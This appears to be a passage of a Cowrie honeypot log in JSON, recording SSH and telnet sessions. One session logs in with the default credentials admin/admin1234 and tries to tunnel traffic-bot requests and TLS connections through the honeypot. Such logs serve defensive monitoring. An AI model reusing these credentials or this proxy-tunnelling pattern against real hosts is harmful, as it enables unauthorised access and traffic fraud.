gzip, deflate\\r\\n\\r\\n_=ZHlBeGghKDExZU9TTEJ4QQ%3D%3Dbovt8bQOhVCdNwKPdJQoWu67HemDFjBI0ycv8Nyi%2BE5U08xxMUiWu15M9PE4tq%2FfpBdJ7grswdWP%2F2JFHHaFdO%2FCnOLXT2TFQYFGdMg2z5e8nNxCuwj5%2FgnNfEo6mWUaXIPO4ipIQ5GPa9DDVLajeK%2Fa%2FgyYz4vkF3s76N%2Bzs4bYoafo8pYdsdmlZvdt02B2Y8mbAX8E5iO3h5SDWXmVtXpBUqynP5Twl2OnJXEC2%2FihxOlorkGMKHHPbsU8NTUwOiZhMRb5i8sT7LECkoxNSe63I9AoRYd4BxxJvqAGJNeMe8zgtbJQWFR0A4H%2BnXufZIPAMGUH3NzcPDzGxeEhmuaLl7keCMAFqWE6%2FtOQVpM2zrv9cGKYDSv5RxQMRmIZOrIV7pfMGo7QDPAtrbz2%2FbjDRoNGyGCjrPqPdwUx7a%2Ft%2FK2ynDNFKF0KLmbB5c8Ljg7X90ZOIk2d%2Fb9HXUmzZ0OqJU%2FpMOSCk7GhJEJ2xpG8%2F0gt6xUsphhfPOwe0NUn9mNEpTZQgBOhQKZlfiLFrlBzv7RnIEN83DNYTrOL6x0luGx76KGYuxyf6v8WAKNHqvLHyfKm2yrfLdOuiI7RY10BlvIKz%2FTO9LfNkKLkiWKwIAkNjQ2g9KLpsjRmX%2FJ00TxapUTA2Se5DJn0utMMShhJE4gS9L9X0%2FE8pL8jo4ROaAPM7pFlZ%2FjzVSNt4Dvcn%2FJaigCgOejSldndjSUydFfBkKUDNrJ%2BSIAsnvImHFHEIV3h6huyJYQstDJinvf5jASIkq1jzW1GoM2Z%2BqFpLGkwJwloZsXMnFmNavYGbwYDtG05TyjpiT6yo9bCe6eVp0irhl89rSauwVGwjlCZqBDsVU6DuhONHq8eVj4Ev8R03kfVRycmipdGQ9YNVbfhi2%2FW3BY0bXwSi0wUYhfYcoIvHbg4eRXkLsGMpwxV5Z0nMDKLdJgknDVWMlmmu4d5L%2BZLhHO8%2B2zwxyZ53dXKKo%2FFj3VDoG0C2bRRBXivb%2Fdv8TnY85AKErpjgZ%2BmTpVs89XdZsAly3F1pGSZo1ZX9FZhqX%2FtFLzVEYJmS3RFgoA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:34.234236Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:35.556114Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.7","message":"Connection lost after 31.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:39.891985Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:44.416539Z","src_ip":"173.208.188.210","session":"ab9ee8d7f6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":62603,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea554d1d323","protocol":"ssh","message":"New connection: 23.175.50.47:62603 (10.17.0.5:22) [session: aea554d1d323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:58.742465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:58.746370Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:58.828567Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:00.136033Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34862,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f05f81e52fc","protocol":"telnet","message":"New connection: 172.81.62.90:34862 (159.203.135.109:23) [session: 1f05f81e52fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:00.972386Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:07.618318Z","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:07.797781Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aSMjJEpjQm4kNGJkaENHKA%3D%3DC08P%2FeJl693Seu4Bpy6%2F6jJM6ynNQTnW4aDb%2BLJ2sscUX0mmZOPboY40K5lf3L5GauY0oipxoL4OxFeC%2B9aYZI%2FB3Buv1X%2BzimcgFiBLWJGZhlTTIWzR9VxhVjLkwf7r1m0CDZdsqC1XyW5pw7aFfku%2BLQ6LmGynKGjNUio52AUhlNuexKCsgZ%2BUzhWVWhi0jQQ3tyeK%2FW3WHk3QvfIC5V%2F4ORcP3bKFTGMaWExEJIm%2F2gtDga1Z%2BP9TOlfB%2FEZFBA3VQJGmJzgSJCGdF52S9CceqxGjAzJ4ovBsocvjrDzkNS%2B1WPD58k6Kv0Io5AYI6Lcy6f0XYBJfYXWbWhvyZRasglwALOG0%2B0l%2B5eB3QWEp7c55OeqCMcp6YrkBhnn74ZJn6hLQakyf9hO6uH%2F3Z%2F2oJPbbRzzvfaXma6VyZfEA2ZieLVFNGGCziQW%2Fs2IHb1d4DBYtxIWIOnBNB92iI84mVs0MrGSGRR0Udo4fBUWW%2BkR0Gj4xscGWt%2FW4OZgyMeUnmI0j1DCgVaA%2FoIrPCUzx3UM1ZjQbFWONsZp5UGVFKt2SK8Oz0t%2BP%2Fyzz2cJkTZelUtKyoH8BUq2irzmO66o9B8NvsaHEKEC5Kh%2BamTefeGgW0iqlm5UJTO5ke1iXia9NjnkhQTbhF71%2Blyv6cvD0vWDzZIIG%2BN1Z2tThfKsZogK7sULozB1gP9obxk92bTDC%2F%2FSu%2B0pJJiWKO0YG84yF2b9NEJ%2Fa7jKh%2BuG2WKoxpWFwuYxbMum6Y%2Ft5y7pO6sP4Icj2Fz1%2Bxn7%2FddL9KTX7ATUc3yYadtGHcOmDB2N9R74A1ybpc0sbTXHKm5QEmKzlJ%2BmPApVOITvI52UCkBP3XaUBdK6B5hbe394bqe2yhL2ee1CGnTw5REPZL%2FGFqOWG0yMf4mG2H2GbZe3vXvzngtq560Osu5ybnkdH5mscxBHoFmUHSEKRzjEsgbOVdYOt%2B5lelTyAGpnscDpatqQdaRojrJrTBT3XwNHLiTSWkFHMHqzU8EihwO81u7K7SGIfcli2UnqSTeDNtRgzynrF26kT7dvPgX6moskrCCQLbOvisbRAzOwVDJ7jScXS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aSMjJEpjQm4kNGJkaENHKA%3D%3DC08P%2FeJl693Seu4Bpy6%2F6jJM6ynNQTnW4aDb%2BLJ2sscUX0mmZOPboY40K5lf3L5GauY0oipxoL4OxFeC%2B9aYZI%2FB3Buv1X%2BzimcgFiBLWJGZhlTTIWzR9VxhVjLkwf7r1m0CDZdsqC1XyW5pw7aFfku%2BLQ6LmGynKGjNUio52AUhlNuexKCsgZ%2BUzhWVWhi0jQQ3tyeK%2FW3WHk3QvfIC5V%2F4ORcP3bKFTGMaWExEJIm%2F2gtDga1Z%2BP9TOlfB%2FEZFBA3VQJGmJzgSJCGdF52S9CceqxGjAzJ4ovBsocvjrDzkNS%2B1WPD58k6Kv0Io5AYI6Lcy6f0XYBJfYXWbWhvyZRasglwALOG0%2B0l%2B5eB3QWEp7c55OeqCMcp6YrkBhnn74ZJn6hLQakyf9hO6uH%2F3Z%2F2oJPbbRzzvfaXma6VyZfEA2ZieLVFNGGCziQW%2Fs2IHb1d4DBYtxIWIOnBNB92iI84mVs0MrGSGRR0Udo4fBUWW%2BkR0Gj4xscGWt%2FW4OZgyMeUnmI0j1DCgVaA%2FoIrPCUzx3UM1ZjQbFWONsZp5UGVFKt2SK8Oz0t%2BP%2Fyzz2cJkTZelUtKyoH8BUq2irzmO66o9B8NvsaHEKEC5Kh%2BamTefeGgW0iqlm5UJTO5ke1iXia9NjnkhQTbhF71%2Blyv6cvD0vWDzZIIG%2BN1Z2tThfKsZogK7sULozB1gP9obxk92bTDC%2F%2FSu%2B0pJJiWKO0YG84yF2b9NEJ%2Fa7jKh%2BuG2WKoxpWFwuYxbMum6Y%2Ft5y7pO6sP4Icj2Fz1%2Bxn7%2FddL9KTX7ATUc3yYadtGHcOmDB2N9R74A1ybpc0sbTXHKm5QEmKzlJ%2BmPApVOITvI52UCkBP3XaUBdK6B5hbe394bqe2yhL2ee1CGnTw5REPZL%2FGFqOWG0yMf4mG2H2GbZe3vXvzngtq560Osu5ybnkdH5mscxBHoFmUHSEKRzjEsgbOVdYOt%2B5lelTyAGpnscDpatqQdaRojrJrTBT3XwNHLiTSWkFHMHqzU8EihwO81u7K7SGIfcli2UnqSTeDNtRgzynrF26kT7dvPgX6moskrCCQLbOvisbRAzOwVDJ7jScXS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:07.800797Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:08.949666Z","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.010114Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe8T\\xdc\\xf1\\xad/\\xc3\\xe4\\xa0\\xfa\\x00\\xdb]\\xba\\xcfI`\\x1c=\\xc1y3K\\xd6J>7\\x8c\\xfad\\xc3\\x87 AZ}\\xc7\\x9d\\x06\\xa09gZ\\xa0\\xb27\\xae\\xd0L\\xe1\\x86\\x83\\xcb\\xc4\\x16P\\x96\\x17\\xfcJX\\xd8&?q\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 jbC\\xb7\\xc7\\x8a\\xe6Y}|\\xc6%\\xac\\xaf\\x18\\x0c\\x83;B\\xa9N\\\\?quz0\\xe3\\xe4f\\xc3P\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe8T\\xdc\\xf1\\xad/\\xc3\\xe4\\xa0\\xfa\\x00\\xdb]\\xba\\xcfI`\\x1c=\\xc1y3K\\xd6J>7\\x8c\\xfad\\xc3\\x87 AZ}\\xc7\\x9d\\x06\\xa09gZ\\xa0\\xb27\\xae\\xd0L\\xe1\\x86\\x83\\xcb\\xc4\\x16P\\x96\\x17\\xfcJX\\xd8&?q\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 jbC\\xb7\\xc7\\x8a\\xe6Y}|\\xc6%\\xac\\xaf\\x18\\x0c\\x83;B\\xa9N\\\\?quz0\\xe3\\xe4f\\xc3P\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.013993Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.077187Z","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.138323Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3!F\\xb3\\xfc~\\x8a\\xf1\\x15\\xacy\\xadP\\xd7l\\xe8\\x1c\\xab\\x8c,K(\\xc4Y\\x1fj\\x96w\\x8b\\x03\\xc3\\xa8 ]\\xb4\\x9a\\x15T\\x1d\\x81\\xc2\\xf9\\xd6V\\x1b\\xf0s\\xd4W\\x81\\x1fp\\xb5\\x8d\\x91\\x7fAl &\\x836\\xb2\\xc7,\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 NKU\\x95\\xd40Q\\xbe\\n\\xb7\\xfd\\xaa\\xd7\\x17e\\x0b\\x80\\xda\\x12\\x9f\\x19da\\xaa\\\\\\xa6/e\\xad\\xf8\\x7fr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3!F\\xb3\\xfc~\\x8a\\xf1\\x15\\xacy\\xadP\\xd7l\\xe8\\x1c\\xab\\x8c,K(\\xc4Y\\x1fj\\x96w\\x8b\\x03\\xc3\\xa8 ]\\xb4\\x9a\\x15T\\x1d\\x81\\xc2\\xf9\\xd6V\\x1b\\xf0s\\xd4W\\x81\\x1fp\\xb5\\x8d\\x91\\x7fAl &\\x836\\xb2\\xc7,\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 